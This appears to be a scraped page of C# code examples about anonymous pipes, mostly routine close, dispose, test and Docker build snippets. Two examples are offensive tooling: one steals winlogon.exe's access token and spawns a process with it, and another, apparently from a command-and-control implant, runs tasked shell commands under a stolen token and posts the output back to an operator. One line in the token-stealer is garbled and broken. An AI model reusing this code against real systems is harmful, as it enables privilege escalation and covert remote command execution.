Ejemplo n.º 1
0
 public void Stop()
 {
     m_Server.WaitForPipeDrain();
     m_Server.Close();
     m_Client.Close();
     m_Client.Dispose();
     m_Client = null;
     m_Server.Dispose();
     m_Server = null;
 }
Ejemplo n.º 2
0
 public void Close()
 {
     if (!_disposed)
     {
         lock (this)
             if (!_disposed)
             {
                 _server.WaitForPipeDrain();
                 _server.Close();
                 _client.Close();
                 _disposed = true;
             }
     }
 }
Ejemplo n.º 3
0
 /// <summary>
 /// Close all open handles the class manipulates.
 /// </summary>
 public void CloseHandles()
 {
     base.CloseHandles();
     try
     {
         if (PipeServer != null)
         {
             PipeServer.Close();
         }
     }
     catch { }
     try
     {
         if (PipeClient != null)
         {
             PipeClient.Close();
         }
     }
     catch { }
 }
Ejemplo n.º 4
0
 /// <summary>
 /// This must be called to stop threads and the DispatcherQueue.
 /// </summary>
 public void Dispose()
 {
     if (stdout != null)
     {
         stdout.Close();
         stdoutpipe.Close();
         stderr.Close();
         stderrpipe.Close();
     }
     if (readThreadOut != null && readThreadOut.IsAlive)
     {
         readThreadOut.Join();
     }
     if (readThreadErr != null && readThreadErr.IsAlive)
     {
         readThreadErr.Join();
     }
     if (commandDispatcherQueue != null)
     {
         commandDispatcherQueue.Dispose();
     }
 }
        public void SimpleMessageTest()
        {
            var pipeServer = new AnonymousPipeServerStream(PipeDirection.In);
            var pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle);

            try
            {
                var    ps    = new PackedStream(pipeServer, pipeClient);
                var    rdn   = new Random();
                var    data  = new byte[rdn.Next(10, 1024)];
                byte[] nData = null;
                var    mre   = new ManualResetEvent(false);
                rdn.NextBytes(data);

                ps.DataReceived += (s, d) =>
                {
                    nData = d.MemoryStream.ToArray();

                    mre.Set();
                };

                ps.Write(new MemoryStream(data));

                mre.WaitOne();

                Assert.AreEqual(data.Length, nData.Length);

                for (var i = 0; i < data.Length; i++)
                {
                    Assert.AreEqual(data[i], nData[i]);
                }
            }
            finally
            {
                pipeServer.Close();
                pipeClient.Close();
            }
        }
Ejemplo n.º 6
0
 private void Exit(object sender, EventArgs e)
 {
     client.Close();
     processingTask.Dispose();
 }
        protected override void ProcessRecord()
        {
            base.ProcessRecord();

            using (var reader = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.None, 65536))
            {
                var tarTask = Task.Run(async() =>
                {
                    using (var writer = new AnonymousPipeClientStream(PipeDirection.Out, reader.ClientSafePipeHandle))
                    {
                        var tar = new TarWriter(writer);
                        await tar.CreateEntriesFromDirectoryAsync(string.IsNullOrEmpty(Path) ? "." : Path, ".");
                        await tar.CloseAsync();
                        writer.Close();
                    }
                });

                var parameters = new ImageBuildParameters
                {
                    NoCache     = SkipCache.ToBool(),
                    ForceRemove = ForceRemoveIntermediateContainers.ToBool(),
                    Remove      = !PreserveIntermediateContainers.ToBool(),
                };

                string repoTag = null;
                if (!string.IsNullOrEmpty(Repository))
                {
                    repoTag = Repository;
                    if (!string.IsNullOrEmpty(Tag))
                    {
                        repoTag += ":";
                        repoTag += Tag;
                    }
                    parameters.Tags.Add(repoTag);
                }
                else if (!string.IsNullOrEmpty(Tag))
                {
                    throw new Exception("tag without a repo???");
                }

                string imageId = null;
                bool   failed  = false;

                var buildTask = DkrClient.Miscellaneous.BuildImageFromDockerfileAsync(reader, parameters, CancelSignal.Token);
                using (var progress = buildTask.AwaitResult())
                    using (var progressReader = new StreamReader(progress, new UTF8Encoding(false)))
                    {
                        string line;
                        while ((line = progressReader.ReadLine()) != null)
                        {
                            var message = JsonConvert.DeserializeObject <JsonMessage>(line);
                            if (message.Stream != null)
                            {
                                if (message.Stream.StartsWith(_successfullyBuilt))
                                {
                                    // This is probably the image ID.
                                    imageId = message.Stream.Substring(_successfullyBuilt.Length).Trim();
                                }

                                var infoRecord = new HostInformationMessage();
                                infoRecord.Message = message.Stream;
                                WriteInformation(infoRecord, new string[] { "PSHOST" });
                            }

                            if (message.Error != null)
                            {
                                var error = new ErrorRecord(new Exception(message.Error.Message), null, ErrorCategory.OperationStopped, null);
                                WriteError(error);
                                failed = true;
                            }
                        }
                    }

                tarTask.WaitUnwrap();
                if (imageId == null && !failed)
                {
                    throw new Exception("Could not find image, but no error was returned");
                }

                WriteObject(ContainerOperations.GetImageById(imageId, DkrClient));
            }
        }
Ejemplo n.º 8
0
        static void Main(string[] args)
        {
            int    procId;
            string file;

            if (args.Length < 2)
            {
                file = "whoami /priv";
                if (args.Length == 0)
                {
                    // If we don't have a process ID as an argument, find winlogon.exe
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                }
                else if (args[0].Contains('.'))
                {
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                    if (args != null)
                    {
                        file = args[0];
                    }
                }
                else
                {
                    procId = Convert.ToInt32(args[0]);
                }
            }
            else
            {
                procId = Convert.ToInt32(args[0]);
                file   = args[1];
            }
            Console.WriteLine("Stealing token from PID " + procId);

            IntPtr tokenHandle = IntPtr.Zero;
            IntPtr dupHandle   = IntPtr.Zero;

            SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);

            Console.WriteLine("Process handle: True");

            bool procToken = OpenProcessToken(procHandle.DangerousGetHandle(), (uint)TokenAccessLevels.MaximumAllowed, out tokenHandle);

            Console.WriteLine("OpenProcessToken: " + procToken);

            bool duplicateToken = DuplicateTokenEx(tokenHandle, (uint)TokenAccessLevels.MaximumAllowed, IntPtr.Zero,
                                                   (uint)TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenImpersonation, out dupHandle);

            Console.WriteLine("DuplicateTokenEx: " + duplicateToken);
            WindowsIdentity ident = new WindowsIdentity(dupHandle);

            Console.WriteLine("Impersonated user: "******"NT AUTHORITY\\Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));

            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 4096, sec))
            {
                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle))
                {
                    // Set process to use anonymous pipe for input/output
                    startInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.hStdError  = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.dwFlags    = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW;
                    // END NAME PIPE INITIALIZATION

                    PROCESS_INFORMATION newProc = new PROCESS_INFORMATION();
                    using (StreamReader reader = new StreamReader(pipeServer))
                    {
                        bool    createProcess = CreateProcessWithTokenW(dupHandle, IntPtr.Zero, null, file, IntPtr.Zero, IntPtr.Zero, "C:\\Temp", ref startInfo, out newProc);
                        Process proc          = Process.GetProcessById(newProc.dwProcessId);
                        while (!proc.HasExited)
                        {
                            Thread.Sleep(1000);
                        }
                        pipeClient.Close();
                        string output = reader.ReadToEnd();
                        Console.WriteLine("Started process with ID " + newProc.dwProcessId);
                        Console.WriteLine("CreateProcess return code: " + createProcess);
                        Console.WriteLine("Process output: " + output);
                    }

                    CloseHandle(tokenHandle);
                    CloseHandle(dupHandle);
                }
            }
        }
Ejemplo n.º 9
0
        /// <summary>
        /// Start a process using a stolen token
        /// C#'s System.Diagnostics.Process doesn't respect a WindowsImpersonationContext so we have to use CreateProcessWithTokenW
        /// </summary>
        /// <param name="task"></param>
        /// <param name="implant"></param>
        /// <param name="TokenHandle"></param>
        public static void StartProcessWithToken(SCTask task, SCImplant implant)
        {
            string[] split;
            string   argString;
            string   file;

            if (task.command == "shell")
            {
                split     = [email protected]().Split(' ');
                argString = string.Join(" ", split);
                file      = "cmd /c";
            }
            else
            {
                split     = [email protected]().Split(' ');
                argString = string.Join(" ", split.Skip(1).ToArray());
                file      = split[0];
            }

            // STARTUPINFO is used to control a few startup options for our new process
            Win32.Advapi32.STARTUPINFO startupInfo = new Win32.Advapi32.STARTUPINFO();
            // Use C:\Temp as directory to ensure that we have rights to start our new process
            // TODO: determine if this is safe to change
            string directory = "C:\\Temp";

            // Set security on anonymous pipe to allow any user to access
            PipeSecurity sec = new PipeSecurity();

            sec.SetAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));


            // TODO: Use anonymous pipes instead of named pipes
            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 1024, sec))
                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString()))
                {
                    try
                    {
                        startupInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
                        startupInfo.hStdError  = pipeClient.SafePipeHandle.DangerousGetHandle();
                        // STARTF_USESTDHANDLES ensures that the process will respect hStdInput/hStdOutput
                        // STARTF_USESHOWWINDOW ensures that the process will respect wShowWindow
                        startupInfo.dwFlags     = (uint)Win32.Advapi32.STARTF.STARTF_USESTDHANDLES | (uint)Win32.Advapi32.STARTF.STARTF_USESHOWWINDOW;
                        startupInfo.wShowWindow = 0;

                        // Create PROCESS_INFORMATION struct to hold info about the process we're going to start
                        Win32.Advapi32.PROCESS_INFORMATION newProc = new Win32.Advapi32.PROCESS_INFORMATION();

                        // Finally, create our new process
                        bool createProcess = Win32.Advapi32.CreateProcessWithTokenW(
                            Token.stolenHandle,     // hToken
                            IntPtr.Zero,            // dwLogonFlags
                            null,                   // lpApplicationName
                            file + " " + argString, // lpCommandLineName
                            IntPtr.Zero,            // dwCreationFlags
                            IntPtr.Zero,            // lpEnvironment
                            directory,              // lpCurrentDirectory
                            ref startupInfo,        // lpStartupInfo
                            out newProc);           // lpProcessInformation

                        Thread.Sleep(100);          // Something weird is happening if the process exits before we can capture output

                        if (createProcess)          // Process started successfully
                        {
                            Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Created process with PID " + newProc.dwProcessId);
                            SCTaskResp procStatus = new SCTaskResp(task.id, "Created process with PID " + newProc.dwProcessId);
                            implant.PostResponse(procStatus);
                            // Trying to continuously read output while the process is running.
                            using (StreamReader reader = new StreamReader(pipeServer))
                            {
                                SCTaskResp    response;
                                string        message = null;
                                List <string> output  = new List <string>();

                                try
                                {
                                    Process proc = Process.GetProcessById(newProc.dwProcessId); // We can use Process.HasExited() with this object

                                    while (!proc.HasExited)
                                    {
                                        // Will sometimes hang on ReadLine() for some reason, not sure why
                                        // Workaround for this is to time out if we don't get a result in ten seconds
                                        Action action = () =>
                                        {
                                            try
                                            {
                                                message = reader.ReadLine();
                                            }
                                            catch
                                            {
                                                // Fail silently if reader no longer exists
                                                // May happen if long running job times out?
                                            }
                                        };
                                        IAsyncResult result = action.BeginInvoke(null, null);
                                        if (result.AsyncWaitHandle.WaitOne(300000))
                                        {
                                            if (message != "" && message != null)
                                            {
                                                output.Add(message);
                                                if (output.Count >= 5) // Wait until we have five lines to send
                                                {
                                                    response = new SCTaskResp(task.id, JsonConvert.SerializeObject(output));
                                                    implant.PostResponse(response);
                                                    output.Clear();
                                                    Thread.Sleep(implant.sleep);
                                                }
                                            }
                                        }
                                        else
                                        {
                                            throw new Exception("Timed out while reading named pipe.");
                                        }
                                    }
                                }
                                catch (Exception e)
                                {
                                    // Sometimes process may exit before we get this object back
                                    if (e.Message == "Timed out while reading named pipe.") // We don't care about other exceptions
                                    {
                                        throw e;
                                    }
                                }

                                Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Process with PID " + newProc.dwProcessId + " has exited");

                                pipeClient.Close();

                                while (reader.Peek() > 0)         // Check if there is still  data in the pipe
                                {
                                    message = reader.ReadToEnd(); // Ensure we get any output that we missed when loop ended
                                    foreach (string msg in message.Split(new[] { Environment.NewLine }, StringSplitOptions.None))
                                    {
                                        output.Add(msg);
                                    }
                                }
                                if (output.Count > 0)
                                {
                                    task.status = "complete";
                                    output.Add("Execution complete.");
                                    task.message = JsonConvert.SerializeObject(output);
                                    output.Clear();
                                }
                                else
                                {
                                    task.status  = "complete";
                                    task.message = "Execution complete.";
                                }
                            }

                            pipeServer.Close();
                        }
                        else
                        {
                            string errorMessage = Marshal.GetLastWin32Error().ToString();
                            Debug.WriteLine("[!] DispatchTask -> StartProcessWithToken - ERROR starting process: " + errorMessage);
                            pipeClient.Close();
                            pipeServer.Close();
                            task.status  = "error";
                            task.message = errorMessage;
                        }
                    }
                    catch (Exception e)
                    {
                        pipeClient.Close();
                        pipeServer.Close();
                        task.status  = "error";
                        task.message = e.Message;
                    }
                }
        }
Ejemplo n.º 10
0
 public void ClosePipe()
 {
     _client.Close();
     _client.Dispose();
     _client = null;
 }